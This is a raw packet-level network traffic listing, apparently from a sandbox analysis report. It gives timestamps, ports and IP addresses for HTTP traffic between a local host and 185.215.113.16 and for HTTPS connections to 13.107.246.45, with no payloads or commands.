Nov 2, 2024 07:16:22.330672979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330677032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330688953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330691099 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330698013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330708981 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330715895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330729008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330734015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330734968 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330739021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330751896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330759048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330773115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330773115 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330785036 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330802917 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330812931 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330822945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330832958 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330835104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330847025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330857038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330859900 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330861092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330878973 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330902100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330912113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330915928 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330923080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.330944061 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.330960035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331043005 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331053972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331063986 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331088066 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331118107 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331233025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331245899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331257105 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331269979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331279039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331290960 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331290960 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331291914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331348896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331348896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331423044 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331434011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331444025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331454039 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331471920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331480026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331480026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331481934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331492901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331504107 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331511021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331511021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331521988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331532001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331532001 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331542969 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331554890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331558943 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331558943 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331572056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331578016 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331598043 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331614971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331615925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331624985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331634998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331662893 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331672907 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331676006 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331676006 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331682920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331707001 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331724882 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331744909 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331754923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331763983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331795931 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331809044 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331815958 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331820965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331830978 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331870079 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331870079 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331899881 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331918955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331931114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331968069 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331969023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.331988096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.331996918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332007885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332052946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.332052946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.332070112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332082033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332092047 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332118988 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.332144022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.332298040 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332309961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332319975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.332350016 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.332380056 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.338265896 CET	63874	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.338278055 CET	443	63874	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.349241018 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.349291086 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.349359989 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.349486113 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.349525928 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.349555969 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.349570990 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.357472897 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.357522964 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.358195066 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.359045029 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.359045982 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.359080076 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.359101057 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.370234966 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.370284081 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.370349884 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.374737978 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.374794960 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.374844074 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.378998995 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.378999949 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.379019976 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.379043102 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.379380941 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.379388094 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.379395962 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.379400015 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.381217003 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.381272078 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.381347895 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.387837887 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.387868881 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.387934923 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.402215958 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.402261019 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.402328968 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.403363943 CET	63875	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.403399944 CET	443	63875	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.403513908 CET	63876	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.403557062 CET	443	63876	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.403839111 CET	63877	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.403870106 CET	443	63877	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.408305883 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408325911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408337116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408376932 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408381939 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408391953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408400059 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408404112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408430099 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408458948 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408696890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408745050 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408781052 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408792019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408804893 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408823013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408830881 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408842087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408863068 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408868074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408880949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408893108 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408902884 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408909082 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408921003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408931017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408932924 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408951044 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408951998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408965111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408973932 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.408977032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.408998966 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409001112 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409010887 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409022093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409025908 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409033060 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409056902 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409075975 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409116983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409127951 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409140110 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409157038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409168959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409168959 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409179926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409189939 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409209967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409210920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409223080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409233093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409240961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409265041 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409285069 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409291983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409302950 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409312963 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409344912 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409349918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409359932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409368992 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409372091 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409389973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409399033 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409403086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409415007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409421921 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409426928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409440994 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409460068 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409485102 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409507036 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409518003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409528017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409545898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409548998 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409562111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409569025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409573078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409584045 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409600973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409601927 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409617901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409625053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409645081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409645081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409661055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409662962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409674883 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409684896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409689903 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409697056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409706116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409714937 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409714937 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409718990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409729004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409734011 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409768105 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409769058 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409778118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409789085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409817934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409818888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409827948 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409837961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409838915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.409857035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.409876108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.410129070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.410146952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.410157919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.410173893 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.410223961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.419297934 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.419338942 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.419408083 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.419555902 CET	63878	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:22.419579029 CET	443	63878	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:22.451353073 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451364994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451375961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451390028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451401949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451411009 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451411963 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451425076 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451438904 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451438904 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451463938 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451514006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451525927 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451536894 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451550007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451566935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451567888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451581001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451587915 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451591969 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451603889 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451607943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451621056 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451625109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451637983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451642990 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451648951 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451658964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451667070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451678038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451679945 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451688051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451697111 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451700926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451713085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451714993 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451725006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451735973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451739073 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451749086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451757908 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451760054 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451775074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451777935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451791048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451802015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451812983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451813936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451813936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451822996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451841116 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451844931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451857090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451865911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451870918 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451881886 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451894999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451905012 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451911926 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451911926 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.451917887 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451929092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451941013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451951027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.451941967 CET	63862	80	192.168.2.4	185.215.113.16
